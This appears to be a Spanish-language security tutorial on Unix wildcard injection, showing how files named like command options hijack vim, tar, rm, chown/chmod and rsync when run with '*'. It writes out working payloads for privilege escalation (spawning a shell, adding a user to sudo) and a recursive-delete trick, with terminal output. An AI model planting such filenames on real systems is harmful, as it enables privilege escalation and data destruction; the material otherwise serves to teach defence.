En las shell de sistemas Unix se pueden crear nombres de ficheros con guiones sin ningún tipo de problemas, por ejemplo un fichero con nombre “--opcion”. Si se ejecuta un comando dentro del mismo directorio y se utiliza el asterisco para especificar todos los archivos, el comando ejecutará --opción como parámetro.
Por lo tanto, si un usuario con privilegios ejecuta un comando sobre un directorio donde se tienen los ficheros con nombres de parámetros, estos interferirán en las opciones del comando y en algunos casos podría facilitar la escalada de privilegios.
Ejemplo de escalada de privilegios usando el comando Vim.
echo "" > '-c !sh cacas.sh' # Creamos el fichero con parámetros echo /bin/sh > cacas.sh # Como prueba de concepto se ejecutará una shell. ls -lt total 8 -rw-r--r-- 1 busi busi 28 jun 30 13:39 cacas.sh -rw-r--r-- 1 busi busi 28 jun 30 13:28 '-c !sh cacas.sh' vim * sh-4.4$
Ejemplo de escalada de privilegios usando el comando tar.
Fichero test.sh: Agrega el usuario XX al grupo sudo (debe existir previamente).
#!/bin/bash adduser XX sudo # Se podría también asignar SUID a /bin/dash (sistemas Ubuntu), apagar el sistema, etc.
Crear los ficheros con nombres de parámetros de “tar”.
echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1 tar cf fichero.tar * # Si todo ha salido bien la configuración sudo del usuario XX será "(ALL : ALL) ALL"
Forzar borrado de ficheros de manera recursiva.
echo > "-rf" rm * # ATENCIÓN: Esto borraría de manera recursiva (-rf) el contenido del directorio donde se encuentra.
Ejemplo de escalada de privilegios con chown / chmod (--reference=RFILE)
--reference=RFILE use RFILE's owner and group rather than specifying OWNER:GROUP values
Al ejecutar chown / chmod con la opción “--reference=.fichero_hacker.php”, se obliga a chown o chmod a usar los permisos del fichero señalado, ignorando los pasados como parámetro en la ejecución.
ls -lta total 12 -rw-r--r-- 1 atacante atacante 1 Jun 23 23:58 --reference=.fichero_hacker.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:52 .fichero_hacker.php -rw-r--r-- 1 apache apache 0 Jun 23 23:51 fichero5.php -rw-r--r-- 1 apache apache 0 Jun 23 23:51 fichero4.php -rw-r--r-- 1 apache apache 0 Jun 23 23:51 fichero3.php -rw-r--r-- 1 apache apache 0 Jun 23 23:51 fichero2.php -rw-r--r-- 1 apache apache 0 Jun 23 23:51 fichero1.php chown -R nobody:nobody * ls -lta total 4 -rw-r--r-- 1 atacante atacante 1 Jun 23 23:58 --reference=.fichero_hacker.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:52 .fichero_hacker.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:51 fichero5.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:51 fichero4.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:51 fichero3.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:51 fichero2.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:51 fichero1.php
Ejemplo de escalada de privilegios con rsync.
-e, --rsh=COMMAND specify the remote shell to use --rsync-path=PROGRAM specify the rsync to run on remote machine
# El fichero shell.c debe contener lo que se quiera ejecutar como root (nc, adduser, chmod u+s, etc). echo "" > "-e sh shell.c"
rsync -t *.c xx.xx.xx.xx:/var/www/
Recomendaciones para evitar ataques wildcard injections.
Enlace de interés.